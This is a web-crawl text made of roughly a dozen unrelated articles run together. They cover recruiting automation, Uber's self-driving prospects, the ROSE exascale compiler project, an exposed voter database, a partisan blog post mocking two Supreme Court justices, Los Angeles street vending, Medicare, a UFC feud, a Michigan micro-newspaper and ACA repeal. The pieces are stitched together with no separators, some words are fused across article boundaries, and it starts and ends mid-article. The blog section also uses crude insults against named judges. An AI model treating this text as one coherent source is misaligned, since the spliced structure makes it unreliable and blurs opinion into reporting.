The flood of CVs is particularly severe for hourly wage jobs, such as in warehouses or retail stores, where a company might need to hire hundreds or even thousands of workers ahead of a busy season. These types of roles will be the first where automation and algorithms will make a real difference. “Recruiters are so bogged down,” says Grayevsky. “As a result of the ‘spray and pray’ mentality that job seekers have, recruiters often deal with huge amounts of volume,” he says. “When it happens it creates a bottleneck and it becomes really hard to properly manage all these relationships.”
That is where AI comes in. A growing number of tech companies are working on perfecting algorithms that mimic recruiters’ simplest tasks — starting with finding CVs for a position.
“Today we are barely scratching the surface of what can be automated,” says Guillaume Champagne, president at SCGC executive search, a recruiting company. SCGC has just started working on its own bot, which will be used for more junior searches.
Champagne says that for years, the company has outsourced some routine tasks, such as searching for suitable candidate profiles on LinkedIn, to human workers in countries where labour is cheaper, for example India. “For that research piece... a bot could very easily replace that part of the job.”
Many recruiters say that automation can be helpful for handling the more annoying parts of the job.
“That initial searching and matching and talking to folks, that is what takes most of the time,” says Kelli Dragovich, who has been in recruiting for more than two decades and is now a senior vice-president at Hired. “That is the most painful part of the recruiting process. And that is the part where we want to use machine learning and algorithms to make searching as painless as possible.”
At LinkedIn, which has more than half a billion professional profiles, the company has invested heavily in improving the quality of its search results. “It is just more powerful today, it allows those recruiters to be more productive,” says John Jersin, who heads LinkedIn’s recruiting software tool.
Now the company is working on going one step further and using an algorithm to ask questions of people who are searching for jobs, such as the location where they would like to work. “We want to get those [initial questions] out of the way because that is not the most important part of what a recruiter does,” says Jersin.
Initial searching is what takes most of the time. We want to use algorithms to make it painless
At a time when AI is just beginning to have an impact on white collar work, recruiting could be one of the first sectors to be affected. Over time, this could eventually mean fewer human recruiting positions.
The human recruiters who remain will need a slightly different skill set — one that is more focused on the tasks that the algorithms cannot perform.
Steve Goodman, chief executive at Restless Bandit, a recruiting start-up that uses machine learning to help companies tap into their existing CV pool, says recruiters are not about to become extinct.
“You still need a human to evaluate whether someone is a good fit for a job,” says Goodman. “If you are evaluating people for the purpose of culture fit, I’m not sure a computer can do that.”
It will be difficult for machines to replicate the live interview, read a candidate’s body language, or judge their personality or their values. But more rote tasks are already being handled by algorithms.
“If you are a recruiter that does nothing but source and put people into piles, then yes your skill set is getting automated away,” Goodman adds.
Others share similar sentiments. “What I’m worried about is those volume searches and junior recruiters, I think those people are at very high risk of being replaced,” says Champagne.
Interview technique: chatbots can help with seasonal recruitment and for roles where CVs come in en masse |
as a player in the taxi market could underestimate the company's growth potential.
To see why, imagine it's 2000 and you're trying to predict how big Google can get. Well, you might have tried to estimate this by looking at the size of existing services that help people find information: the Yellow Pages, encyclopedias, library card catalogs, and so forth. But of course, Google wasn't just a new kind of card catalog or a better Yellow Pages. Rather, it became the default way that people found all kinds of information online.
The bullish case for Uber assumes that (as I've argued before) self-driving cars will render consumer car ownership obsolete. In a world where renting cars is the norm and buying them is the exception, the services people use to find cars for rent are going to have a lot of power. And Uber has a good shot at dominating this market in much the same way it dominates the smartphone-based taxi market today.
Uber is well-positioned to dominate the self-driving car market
Even if self-driving car rentals will be a big market, that doesn't necessarily prove that Uber in particular will dominate that market. But Uber has some advantages that no other companies can really match.
There are two different types of companies that might compete with Uber to build apps to hail self-driving cars: tech companies like Google and Apple and car companies like Ford and Toyota. But neither type of company is as well-positioned as Uber to build a popular app for hailing self-driving cars.
The car companies' weaknesses are obvious: They are not in the software business, and non-software companies often struggle when Silicon Valley invades their turf. There's a reason that Apple, not the recording industry, popularized digital music. There's a reason YouTube and Netflix, not Hollywood studios, dominate the online streaming business. It'll be hard enough for car companies to make their cars full self-driving; creating a user-friendly car-hailing app and building all the digital and physical infrastructure required to support such a service will be an even bigger struggle.
Google will be a bigger threat, since it obviously does know how to build user-friendly apps and large-scale network services. But Google is likely to struggle with other aspects of operating a self-driving car service.
Running a transportation network requires a lot of communications with both regulators and customers. Google has generally avoided products with customer service needs — when's the last time you called Google for help with your Gmail account? And while the company has a large lobbying presence in Washington, it doesn't have nearly as much experience as Uber at dealing with officials in dozens of cities around the globe.
And while Uber has a reputation for flouting local regulations, its relationship with cities is gradually improving as cities become more accommodating. By the time self-driving cars arrive sometime in the 2020s, we can expect Uber to have deep and generally friendly relationships with local officials around the world. Those relationships will be extremely valuable as Uber tries to convince those same officials to allow self-driving cars on their roads.
Meanwhile, Google's most ambitious foray into a labor-intensive transportation service — Google Express — hasn't been doing very well. Managing people and physical infrastructure is a different skill than tackling hard technical problems, and Google just isn't very good at it.
A similar point applies to Apple, which is working on its own automotive products. Apple has struggled to produce reliable network services like Apple Maps, it's never shown much interest in the lobbying game, and it's never even tried to build large-scale physical infrastructure. Apple may be able to build a great self-driving car, but it probably wouldn't be good at managing a huge fleet of them.
All of which means that both Google and Apple might be happy to partner with a company like Uber to handle the boring logistical details of building a ride-hailing app, managing a network of vehicles, and handling complaints from regulators and customers. And if not, Uber's deep experience in these areas gives it a good shot at out-competing the tech companies — perhaps in partnership with carmakers.
A dominant self-driving car service would be huge
So if you want to figure out how big Uber could get, looking at the taxi market is way too narrow. Uber is vying to become the standard app that everyone — not just urban elites, but ordinary people in suburbs and small towns too — uses when they want to move around town.
To figure out how big that could be, you want to look at the automotive industry as a whole. Consumers currently spend hundreds of billions of dollars with these companies, and they'll likely continue spending hundreds of billions of dollars on in-town transportation in the future. If Uber plays its cards right, it could be come an indispensable middleman that can take a cut of every transaction.
And the service might not stop with moving people around. There are likely to be self-driving alternatives to FedEx, Domino's, and other delivery services. The company that manages the dominant network of self-driving cars for people would be well-positioned to manage self-driving delivery vehicles too.
If Uber does succeed in building the dominant self-driving ride-hailing app, it will make the company's rumored $70 billion valuation look downright puny.
Disclosure: My brother is an executive at Google.
VIDEO: The economics of being a driver for hireBy the middle of the next decade, the fastest supercomputers will have problems akin to those of home-repair TV-show hosts – if they were fixing up not just one old house but every old house on the planet simultaneously.
To work efficiently, a supercomputer must manage data like a warehouse does building materials, keeping some items close while delivering others to locations where they’re needed. Otherwise, enormous amounts of computer time and power would be lost in moving data from one processor to another.
In a supercomputer comprising the equivalent of one billion laptops, such inefficiencies would be like millions or billions of carpenters, electricians and other skilled workers sitting idle while apprentices fetch tools and materials.
By the mid-2020s, supercomputers will reach exascale – speeds of more than a million trillion operations per second. The machines will have to meet the challenges of billion-way parallel computing, dividing computational labor equally and delivering the right data to the right processor at the right time.
A Department of Energy project called ROSE is developing compiler infrastructure to build tools programmers will need to achieve this goal. Based in the Center for Applied Scientific Computing at Lawrence Livermore National Laboratory (LLNL), ROSE automates the generation, analysis, debugging and optimization of complex application source code.
Ordinarily, a programmer would do these tasks by hand, with help from basic software tools. ROSE helps programmers who work only with user-friendly source code make programs highly efficient, although they may not have the expertise to work with it after it’s compiled into the 1’s and 0’s of executable machine instructions. Users feed their source code to ROSE, which in turn produces source code for vendor-provided compilers to help create the required executable machine instructions. At this stage, various tools analyze, debug and optimize the code. The ROSE Framework then translates the improved program back into source code before delivering it to the user. This source-to-source feature enables even novice programmers to take advantage of ROSE’s open-source tools.
Computer scientists expect exascale architectures to have many levels of memory, ranging from large and slow to small and fast.
Working by hand will no longer be possible when programming current and future supercomputers, even for experts. “These machines are complicated – and are getting more complicated – and people’s time is expensive,” says Dan Quinlan, a Livermore researcher and ROSE leader. “We need to be able to rewrite codes in an automated way.”
To use the ROSE Framework, programmers build simple domain-specific languages (DSLs) that compactly express their intentions. A DSL is a software language written for a specific purpose and typically is used by a small group of programmers. The user then lets ROSE compiler tools implement the intentions. “The compiler can write the code one way for a GPU (graphics processing unit), another way for an exascale computer, and a third way for a laptop,” Quinlan says. “The best code for all three of these is going to be very different. But the compiler won’t complain about doing three times as much work, and that’s where much of the productivity comes from.”
Since the ROSE Framework was initiated in the early 2000s with support from DOE’s Advanced Scientific Computing Research program (ASCR) and the National Nuclear Security Administration, the project has been developing a programming environment and tools that help coders accelerate and improve their work. The project has received additional financing from Livermore’s lab-directed research program to use ROSE in supporting new research.
The ROSE team collaborates with scientists throughout the national laboratories and at several universities, and the ROSE Framework has been used to write, rewrite, analyze or optimize hundreds of millions of lines of code. The project received a 2009 R&D 100 Award from R&D Magazine, recognizing it as one of the top new technologies of the year.
ROSE is now reaching new heights as computer scientists use its tools to prepare for exascale computing. In keeping with DOE’s exascale push, the team is working with ASCR’s X-Stack Software Project. X-Stack stands for the collection, or stack, of software tools that will have to mesh to support developers building exascale computer software. The project supports researchers who are working to meet exascale-computing challenges.
The ROSE team collaborates within the X-Stack program through a project called D-TEC, which stands for DSL Technology for Exascale Computing. D-TEC helps write and test-run large, complex, but narrow-purpose software for supercomputers that don’t exist yet. The group has helped build nine DSLs that are under testing and development.
In each of these DSL applications, a major challenge recalls the home remodeler working on a global scale. Anyone running a worldwide refurbishment project would have to plan in an exacting manner, with detailed instructions for placing trillions of tools, boards, nails, screws, paints and other materials so each would be on hand when needed.
Similarly, programmers who write code for exascale machines will have to manage their data strategically, which means limiting use of hardware-managed caching, a time-honored technique. This brand of memory management is relatively easy to implement but has a number of disadvantages.
First, hardware-managed caching stalls processing by storing all data in large, slow memory until they are needed and providing only simple hardware management to copy data to smaller but faster memory.
Second, hardware-managed caching leaves newly generated data lying in the nearest cache – to be retrieved later at the expense of time and energy.
Third, hardware-managed caches can store only small amounts of data, and making them work fast hogs power. As a result, hardware-managed caching is too expensive to justify at the scale of large memories.
Although hardware-managed caching can’t be supported on the larger and slower memory levels, it will still be needed because not all of an application’s data can fit into smaller and faster memory. In fact, computer scientists expect exascale architectures to have many levels of memory, ranging from large and slow to small and fast.
To distribute the data, programmers also will have to use software-managed caching, a means of acquiring and placing the needed data in optimal locations. Software-managed caching is more trouble for users but also more power efficient for the larger memory levels, thus enabling more selective use of hardware-managed caching on small, fast memory levels.
“In specific exascale architectures, you are using many levels of memory, and you need to use software-managed caching to copy data from the larger and slower memory levels to the smaller but faster levels of memory to get good performance,” Quinlan says. “You can put just what you need where you want it, but the code needed to support software-managed caches is extremely tedious to write and debug. The fact that the code can be automatically generated (using ROSE) is one of the more useful things we’re doing for exascale.”A publicly available database containing the personal information of 191 million US voters has been sitting, exposed, in a publicly accessible corner of the Internet, according to security researchers.
The database, which was first uncovered by independent security researcher Chris Vickery and reported today by DataBreaches.net, includes the names, home and email addresses, voter IDs, dates of birth, party affiliations, and voting histories of millions of registered American voters since 2000. Fortunately, it does not expose the voters’ Social Security numbers, driver’s license numbers, or sensitive financial information.
While 191 million records sounds pretty alarming, it’s worth noting that voter registration lists are usually a matter of public record—though many states enforce regulations to control access to the information. Some states charge expensive fees, for instance, for access to such data. South Dakota, as noted by DataBreaches.net, explicitly requires those looking to acquire voter data to sign a statement confirming their understanding that the database “may not be used or sold for any commercial purpose” and “may not be placed for unrestricted access on the Internet.”
Still, this type of data can be extremely valuable, especially to those running campaigns. For one, the information in such databases might be used for targeted mailings.
That’s the reason third-party vendors hawking vast chunks of voter data exist—which is the suspected source of the breach in this case, as well. Both Vickery and Steve Ragan, a security blogger for the risk management website CSO, who also investigated the data, say the style and formatting of the data set point to a vendor called Nation Builder. The company, for its part, says that the IP address where the files were posted did not belong to it or any of its clients.
More likely, the researchers say, the poor configuration of the data set could be an indicator that a customer purchased information then sloppily threw it online without the right security protocols in place.
OK, but should you be panicking? Not quite. As mentioned, a lot of voter information is public record. As much as anything, it’s just weird that this much valuable data was sitting on the Web for so long, unchecked and undiscovered. That said, restrictions around voter data exist for a reason, if only to temper the likelihood of getting more junk mail.Photo by Bluegal
I think it's great that Justice Antonin "Tony The Fixer" Scalia and Clarence "Hey, Who Left A Pubic Hair On My Caffeinated Beverage" Thomas are such good friends, even hanging out with the Koch brothers together. The problem is, no one knows what they were doing at that little ultra-right wing confab - and they ain't telling.
So I put on my thinking cap and now I'm wondering: Do you suppose they were the entertainment?
Reports that two Supreme Court Justices have attended seminars sponsored by the energy giant and conservative bankroller Koch Industries has sparked a mild debate over judicial ethics. On Tuesday evening, the New York Timesreported that an upcoming meeting in Palm Springs of "a secretive network of Republican donors" that was being organized by Koch Industries, "the longtime underwriter of libertarian causes." Buried in the third to last graph was a note that previous guests at such meetings included Supreme Court Justices Antonin Scalia and Clarence Thomas, two of the more conservative members of the bench. It's not rare for a Justice to attend a seminar sponsored by a group with judicial or political interests. Members of the court, for instances, often speak at academic institutions or think tanks. Virtually all companies, meanwhile, are affected by the judicial branch. So long as Scalia and Thomas did not participate in overt partisan activities, there would be no apparent conflict of interest. "There is nothing to prevent Supreme Court justices from hanging out with people who have political philosophies," said Steven Lubet, a professor of law at Northwestern University who teaches courses on Legal Ethics. But the Koch event appears more political than, say, the Aspen Ideas festival. In its own invitation, it was described as a "twice a year" gathering "to review strategies for combating the multitude of public policies that threaten to destroy America as we know it." In addition, it's not entirely clear what the two Justices did at the Koch event. A copy of the invitation that served as the basis for the Times's report was posted by the liberal blog Think Progress. It provided no additional clues. A call to the Supreme Court and an email to a Koch Industries spokesperson meanwhile were not immediately returned. Faced with a lack of concrete information, and cognizant of Koch's fairly intense history of political involvement, legal ethicists are urging for more disclosure.
Think Progress, who released the information yesterday, has more:
This is an interesting situation. Sitting Supreme Court Justices are simply refusing to adhere to the Judical Code of Ethics, reducing their philosophy to two words: "Trust me."
So what's our remedy? The standard for impeachment is very high and requires a supermajority of the Senate to convict (although if we were Republicans, we wouldn't let a silly thing like that stop us!). And it's not as if the President can call them into his office for a stern talking-to.
In other words, once again, the right-wing bully boys have hijacked one of our country's institutions, show no signs of anything approaching ethical behavior, and the Democrats will simply wring their hands and say, "What do you want us to do about it?"Read the report | Take our poll
A new city report that looks at possibilities for legalized street vending in Los Angeles outlines three different scenarios.
The choices: a citywide street vending program, specific street vending districts, or a combination of the two that lets different communities decide how they want to manage street vending. One other choice? To maintain the status quo, which prohibits sidewalk vending in L.A.
Since last year, city officials have been debating an ordinance to would legalize street vending. Over the past several months, city officials held public forums to gather input from residents. That's included in the report, filed Wednesday by the city's Chief Legislative Analyst.
On Tuesday, the city's Economic Development Committee is expected to hear the report and make recommendations, which would eventually go before the full City Council.
According to the report, a citywide street vending program "could potentially allow sidewalk vending on all city sidewalks with the exception of sidewalks that do not meet ADA (Americans with Disabilities Act) guidelines or could present public safety issues."
However, the city could still establish "no vending zones" in high-traffic areas or near venues where safety might be an issue.
The district-based model would allow sidewalk vending only in defined areas. It's one the city has tried before: In 1994, city officials adopted an ordinance allowing the creation of up to eight sidewalk vending districts in commercial zones.
One of these districts came to fruition in MacArthur Park, but it wasn't a success. From the report:
The process for establishing a district under the ordinance has been described as cumbersome by members of the community inasmuch as the process called for several approval levels and many vendors found it easier to vend outside the districts than within the district.
A third option would be a hybrid model, which "would allow for general vending on sidewalks citywide and allow for specialized restrictions within certain districts."
For example, "a district may choose to allow a higher or lower number of vendors per block depending on the needs...An area such as the flower district may want to prohibit flower
vendors but encourage more fruit or food vendors..."
Supporters of legalized street vending say they'd prefer a blanket citywide ordinance. Rudy Espinoza of the Leadership for Urban Renewal Network said the MacArthur Park experience proved that street vending districts are hard to set up and manage; he said legitimate vendors in MacArthur Park were being undercut by unpermitted ones nearby.
"What happens is they put so many restrictions on the entrepreneurs that there is no way to sell," Espinoza said. "Vendors who were literally across the line, across from the district, were selling, and there was no process to mitigate that."
Opponents of legalized street vending say it will be difficult to stamp out unpermitted vendors. A merchants' group that calls itself the Coalition to Save Small Business put out a statement on Thursday saying if there is to be any legal street vending, it should be tightly controlled:
Street vending should only be allowed in commercial areas where there’s community support and fully funded, effective enforcement. With more than 50,000 unlicensed street vendors in Los Angeles, the Council should regulate the number of permits, locations and hours of operation for vending as other cities have done.
A spokeswoman for council member and Economic Development Committee chair Curren Price said there could be some action taken Tuesday, but that the proposal isn't expected to go to the full City Council any time soon.
PollFour Ways Medicare Must Evolve to Improve Senior Health Over the Next 50 Years
In July, 50 years will have passed since President Lyndon B. Johnson signed the bill creating Medicare, transforming the lives of millions of older adults for the better. Today, more than 90 percent of seniors have health insurance and, as a consequence, are living longer and in better health than ever before. But with the number of seniors in the United States projected to double by 2050, Linda P. Fried, Dean of Columbia University’s Mailman School of Public Health, says that Medicare must evolve to reflect new science on healthy aging and disease prevention.
Dr. Fried’s “A Prescription for the Next Fifty Years of Medicare” appears in the journal Generations. In this special issue titled “Medicare at 50,” Dr. Fried is joined by other thought-leaders and experts in aging, healthcare, and retirement policy. Many of the contributors, including Dr. Fried, participated in a public event yesterday at the Kaiser Family Foundation in Washington, D.C. to discuss their perspectives on what we can expect from the next 50 years of Medicare.
“In sharp contrast to 50 years ago, we now know that prevention matters for most disease and conditions, and works into the oldest ages,” writes Dr. Fried. “Investing in prevention and health promotion is a 21st century opportunity—and responsibility—of Medicare, in synergy with the U.S. public health system,” she adds. “Such investment will better preserve health and lower costs: healthier seniors translates into fewer costly medical inventions. This is great news for ensuring adequate funding of Medicare over the next half-century.”
Dr. Fried points to one projection that shows that joint clinical and population-based investments in preventive strategies saves 90 percent more lives and reduces costs by 30 percent after only ten years. After 25 years, that investment would save 140 percent more lives and lower costs by 62 percent.
While Medicare has put a tentative toe in the waters of disease prevention, a deeper commitment is needed to meet the needs of our aging population, according to Dr. Fried. Her article presents four strategies for incorporating public health goals into Medicare:
Start at Age 50. Medicare should extend clinical prevention to cover adults from age 50 with the full set of vaccinations, screenings, and preventive services, oral healthcare, vision and hearing examinations, glasses, and hearing aids. Medicare must also support complementary needs: adequate incomes and affordable and safe housing. “This life-course approach to prevention will help ensure that people reach age 65 in good health, and that their health is optimized into their seventies, eighties, and beyond,” writes Dr. Fried. Prescribe Prevention. Medicare providers should prescribe community-based programs that support physical and cognitive health like the “walking school bus,” in which older adults get exercise by walking children to school each day or an Experience Corps-type service. Coordinated support for these and other prevention programs should come from all levels of government Medicare, Medicaid, the Administration of Aging, and public health. Create a Cadre of Geriatric Health Professionals. Currently Medicare helps fund graduate-level medical education for hospital residents. Medicare should expand this support to both geriatricians and public health training in order to “create a critical mass of health professionals who are experts in geriatric health needs,” notes Dr. Fried. This investment would help fill a gap for health professionals with the knowhow to extend care for seniors in and beyond the doctor’s office and into the community and home. Coordinate Efforts. Medicare must work with the Centers for Disease Control and Prevention, as well as state and local partners, to track seniors’ needs and share information on the effectiveness of specific prevention programs through a shared database accessible to everyone, including seniors themselves. “It is unfortunate that some practitioners know about innovative community programs and make appropriate referrals, while others do not, and that health-producing community programs are not financially-covered services of Medicare,” says Dr. Fried. “And it is unacceptable that isolated older adults suffer alone from inadequately treated chronic conditions when they are eligible for care and support just beyond their reach.”
These added goals for the next 50 years of Medicare will help build and sustain the health of seniors, not just through medical treatments but also through prevention programs. Along with longer lifespans and the greater accumulation of society wealth as a result, Dr. Fried proposes that Medicare investment in preventive health strategies could help unlock a third demographic dividend. “Preserving the health of seniors unlocks a huge potential for valuable contributions in all corners of our culture, putting their knowledge and wisdom to use to the betterment of everyone,” says Dr. Fried.After the UFC’s first event in Glasgow back in 2015, national charges Robert Whiteford, Stevie Ray and Joanne Calderwood presented a united Scottish front to the gathered media after taking their first UFC wins on home soil.
The togetherness in the Scottish ranks was evident two years ago, but ahead of this Sunday’s event at the SSE Hydro, a beef between two Scots, lightweight Ray and light-heavyweight Paul Craig, has been pushed to the forefront of the news agenda.
For Ray, Craig stepped over the line when he urged the lightweight to “get a job” after he took to Twitter to relay his financial woes ahead of signing with the UFC in 2015.
“I posted up something about my car being broken down and not being able to afford to get it fixed,” remembered Ray. “He replied, without having ever spoken to me, telling me to ‘go and get a f**king job,’ or something along those lines.
“I was a fitness instructor at the time on top of my MMA career. I replied to him explaining that I did have a job, but it just wasn’t a very high-paying one and it all escalated from there.”
Ray took exception to Craig’s comments when he referenced him and his wife “popping out kids”.
“He was calling my family names, and stuff like that,” said Ray. “That’s the reason that I don’t like the guy. The way he was talking to me, he seemed to be suggesting that my family was claiming benefits and popping out kids to get more money.
“I posted the original exchange that this all stems from, and I really think he’s come away from this whole thing looking pretty stupid. Everybody thinks he’s a d**k because of it.”
Craig doesn’t accept Ray’s accusation that he insulted his family. In fact, he thinks that Ray has introduced the narrative to portray him as “the bad guy” ahead of the Glasgow date.
“He was talking about needing money to fix his car,” recalled Craig. “I got onto Twitter and I told him that maybe if he got a full-time job he would be able to support his family. I don’t see that as me attacking a family or any member of his family.
“He’s taken that and he’s trying to make me look like the bad guy. I can be the bad guy if I need to be, but deep down I’m not. The newspapers picked it up. Loads of other media companies picked it up too. I guess there’s no such thing as bad press.”
In the same 2015 thread that started the hostility, Craig took Ray to task about a crowd-funding page that was started to take the Cage Warriors champion’s training camps to the next level.
“At the time, because of my financial situation, my management team started a crowd-funding page so I could go over and train at Tristar in Canada,” explained Ray.
“The people who contributed were mostly my friends and family, but then (Craig) turned it on me again and said that I was begging for money. He was saying how he thought that fighters shouldn’t get sponsorships.
“For a long time he was saying that fighters should not quit their full-time jobs, but then after one UFC fight, that’s exactly what he did. He completely contradicted himself in that respect,” Ray continued.
“Essentially, he’s now doing everything that I was trying to do before the UFC. I was trying to provide for my family while also pursuing a dream. He’s a hypocrite.”
While Craig dismissed Ray’s allegations that he insulted his family, he stands by the comments he made about Ray’s crowd-funding page.
“I’ve seen guys in my gym and other gyms struggling to make ends meet,” Craig said. “They were in the same boat as him and they were still holding down full-time jobs. If they could do it, why can’t he do it? That’s how I saw it.
“He was saying that he needed to be a full-time fighter. He needed to be a full-time fighter because he had no other skills. He didn’t like that I pulled him up on that.
“When you start a (crowd-funding) page to pay for training at Tristar, that’s not really what these things are used for. Those accounts are used to help people who are terminally ill or needing some support for something else,” Craig continued.
“I didn’t like that. He came out and said that his management company started it, but fighters have a say in what their management teams do. He could’ve told them it was in bad taste, but he didn’t.”
Both men agree that Ray has been the most put out by the back and forth. The lightweight revealed that he was at one of his lowest points as a professional when Craig initially replied to his post about his car trouble, which makes it harder for him to put the beef to bed.
“Paul doesn’t dislike me as much as I dislike him,” Ray admitted. “He’s seeing it as a bit of banter, but once you bring someone’s family into things and start calling them names, that’s taking it a step too far.
“Even belittling someone that is already down is a pretty sh*tty personal trait. I was down in the dumps. I was going through a bit of depression at the time, you know?
“I was thinking about quitting the whole thing and giving up on my dream. I was training all the time, I was completely exhausted and I had another kid on the way. I was dealing with all of these things and then I had some dipsh*t calling me names online. It really pissed me off.”
Despite their discrepancies with each other being common knowledge, the Scottish duo was pitted together for promotional rounds ahead of UFC Glasgow in late May.
Their appearance on BBC Sport made everyone aware of their disdain for each other, but Ray reported that Craig privately told him that their falling out was “all banter”.
“He saw that whole thing with the BBC as a bit of banter,” Ray said. “Even off camera at the end of it, he was like, ‘it’s all banter, Stevie,’ but I’m not laughing. I saw in another recent interview that he was saying that he wants to see me doing well and that he’s rooting for me, but it’s all fake as sh*t.”
Despite Craig’s well wishes, Ray, who faces Paul Felder at the event, hopes his fellow Scot gets “knocked the f**k out” in front of his home crowd on Sunday night when he takes on Khalil Rountree.
“At least I’m honest about it, I want to see him get knocked the f**k out,” Ray said. “It is what it is.
“When Tyson Pedro beat him, I was over the moon. He needed that. He was talking about fighting Jon Jones before that fight. He was talking about fighting legends like ‘Shogun’ too. Then he goes out and gets KO’d by Pedro, and fair enough he might be a good fighter, but he’s not a very well-known fighter like Jones or Rua.”
Ray is hoping for another bad night for Craig, but the light-heavyweight doesn’t see the sense in rooting against a fellow Scot, or European, for that matter.
“Even if I was the worse guy in the world, I wouldn’t expect a fellow countryman to wish that on me,” said Craig.
“I look at anyone from the UK, Scotland or Ireland as being in the same boat. If we don’t do well together, the UFC won’t be interested in coming back and doing fights over here.
“I want everyone from Europe to do well and I want Stevie Ray to do well. Stevie Ray winning is good for Scottish MMA,” Craig continued.
“Him wanting me to get knocked out won’t change that. I remember watching him in his first fight for the UFC and I was screaming him on at home. I’m not the kind of guy that thrives on peoples’ failures.”
Ray claimed that a sincere apology would bring a halt to the ongoing feud, but Craig seems in no rush to offer the olive branch.
“He’s not getting an apology for something so petty,” Craig said. “I find it hilarious that he thinks I need to apologize to him. I wouldn’t take it this seriously, Stevie, but I do love winding people up. After hearing this I might just keep reeling that fishing rod out there to see if he will take a bite.”Typical front page
Lathers' poem "The Harvest Moon"
The Mears Newz (earlier known as The Mears News) was a twentieth-century newspaper published in Mears, Michigan.
History [ edit ]
The Mears Newz was published by Swift Lathers, its founder and editor. Lathers was well-skilled in English and grammar, benefiting from training by his mother, an English teacher. Lathers worked as a stringer for a Detroit newspaper, where he grew to dislike the constant editing of his writing by others. He was then motivated to start his own newspaper where no one else could edit his writing. Moving from the Detroit area to Mears in 1909, Lathers started The Mears News (he initially spelled the word News in the name with an s) and believed it was his life's calling to report on items related to Mears, his adopted hometown. His simple meager lifestyle sacrificed personal financial gain to keep his newspaper going. Lathers wrote all his own stories and reports. He printed the newspapers on a foot operated printing press. Lathers would hand deliver the newspapers himself locally.[1]
The newspaper, printed and published from Lathers' home, was known as The Smallest Newspaper in the World.[A][4] It was published on a paper that was smaller than the normal size bond. Its size was approximately that of a postcard at about five by seven inches and consisted of four pages. The weekly newspaper was published every Friday from 1914 to 1970. Lathers had paid subscribers in 38 states. Sometime after 1916 and before 1919 the News name was changed to Newz on the suggestion from a subscriber to add more flair.[1]
The Mears Newz in its height of production during the 1940s had a worldwide circulation of over 2000.[B][1][5] Lathers had a circulation at one time of over 2,700 when he voluntarily cut the list. Those whose name started before D and all those after S no longer received his newspaper. This way then he could keep his subscription circulation manageable.[C]
Lathers had forthright remarks and candid comments in each of his newspapers. Because of his plainspoken approach the newspaper had enthusiastic readers interested in this type of journalism. Lathers often would have one large paragraph of advertisements in the newspaper written end-to-end.[8] Occasionally there was poetry written in the newspaper.[8]
The subscription cost for the newspaper was 50 cents per year and 1 dollar for a six-month subscription. Lathers was once insulted when he first started publishing his Newz paper when a local businessman told him that his publication would not last even six months and offered him 25 cents. Then and there he set his subscription fee at 50 cents a year, 1 dollar for six months and 2 dollars for 3 months. The newspaper was in production for 56 years and the subscription cost never changed.[1]
The Mears News[D] made its debut July 24, 1914. In this first issues were suggestions for the first Golden Fair of Golden Township in Oceana County, Michigan. The "af-fair" was the only township fair in the county. Mort Wiegrand, the Mears Historical Society's director believes that it was the first township fair in the state of Michigan. The concept of the fair was to gather the school children of the area together in competitive events for awards. It included crowning a "queen" and a "king" for the township. The annual fair was disrupted and stopped in 1918 for sixteen years. Then on October 5 of 1934 it was reported by The Mears Newz that "The Golden Fair is ripe in the Land of Mears." The continued annual fair event was the subject of reportage until the newspaper folded in 1970.[1]
Front page [ edit ]
Gardens Scratchers are ripe in the Land of Mears: front page cover example : front page cover example
The front page format nameplate wording of the title changed in the 1930s from A Magazine of Mirth Founded A.D. 1914 By Swift Lathers to the more recognized line of The Smallest Newspaper in the World—used on its masthead until the paper stopped publication in 1970.[1]
The newspaper usually said on the front cover that something was "ripe in the Land of Mears."[1]
Examples of these Lathers' personalized sayings were:
Cherry Pickers are ripe in the Land of Mears. (July 30, 1920)
Garden Scratchers are ripe in the Land of Mears. (May 18, 1922)
Goldenrod is ripe in the Land of Mears. (August 18, 1922)
Cutters are ripe in the Land of Mears. (January 4, 1923)
Just Dust is ripe in the Land of Mears. (July 13, 1923)
Assorted Calendars are ripe in the Land of Mears. (December 28, 1945)
Bridal Bouquets are ripe in the Land of Mears. (April 10, 1953)
Returning Lawns are ripe in the Land of Mears. (April 11, 1969)
High Flying Kites are ripe in the Land of Mears. (March 20, 1970)
Examples [ edit ]
Swift Lathers' 1914 foot-operated press
The Mears News September 10, 1915:
page 1
page 2
page 3
page 4
The Mears News August 13, 1915:
Mears Newz Lathers' 1916 hand-set foot-operated printing press for publishing
page 1
page 2
page |
had been lots of articles in the papers about dogs running loose in wildlife corridors.
She put the dog on a leash, but who knows what they did after I left. It struck me that it was a regular occurence.
I am reporting this to bylaw, with the licence plate, but I do not wish to be a dog policeman for the Town. I think it behooves bylaw officers to place their cars at dusk in places where they ought to know sneaky people take their dogs off leash.
It is a huge problem in town that does not seem to be being addressed. Perhaps Three Sisters could put cameras in place where the number plate can be photographed.
Maybe the Town could do this, as with their photo radar. Something has to be done.
I hate for it to be my duty, it takes courage and sometimes I lack it, as there’s nearly always push back. But I see it all the time, in so many places, especially along the canal next to a wildlife area.
I can only think it will take the people of Canmore who care about our wildlife to tackle these people head on, have the courage to say a dog should be on leash and take the numbers of cars if they see people letting their dogs run wild.
People who come to live here do so because of our wonderful wildlife. Selfish dog owners will diminish this precious commodity in our valley, where there seems to be as many dogs as people.
I love dogs, by the way, and say kudos to those people who do abide by the laws and use the proper areas assigned for off leash exercise.
Marjorie Bridge,
CanmoreRepeal of the ACA is the declared goal of all Republican presidential candidates. While most have some vision of replacement, that vision tends to be highly unspecific—and still likely to radically reduce the coverage Obamacare now provides.
Jeb Bush is probably the least fire-breathing opponent of the Affordable Care Act among the Republican candidates, as worried conservatives have anxiously noted. He consistently emphasizes “replacement” alongside “repeal.” But when he speaks in anything like detail, as he did in Iowa in March, this is what he says:
The effort by the state, by the government, ought to be to try to create catastrophic coverage, where... if you have a hardship that goes way beyond your means of paying for it, that you have—the government is there or an entity is there to help you deal with that. The rest of it ought to be shifted back where individuals are empowered to make more decisions themselves.
That’s consensus conservative doctrine. Yet to a current ACA beneficiary it must sound ominous. “If you have a hardship that goes way beyond your means of paying for it …” Even small proposed changes in Medicare have up-ended American politics. Back in 1995, the government of the United States shut down for a total of 27 days over budget fights that included a disagreement over $11 per month in Medicare Part B premiums. That shutdown framed the election of 1996, in which Bill Clinton won a second term, while Republicans lost two seats in the House (offset by a gain of two in the Senate).
Many millions of Americans have much more at stake in 2016 than $11 a month. How will their interest sway the election?
A couple of maps compiled by the Center for Equitable Growth offer some clues:
Medicaid Expansion Particularly Benefits Poor Regions of the United States
Washington Center for Equitable Growth
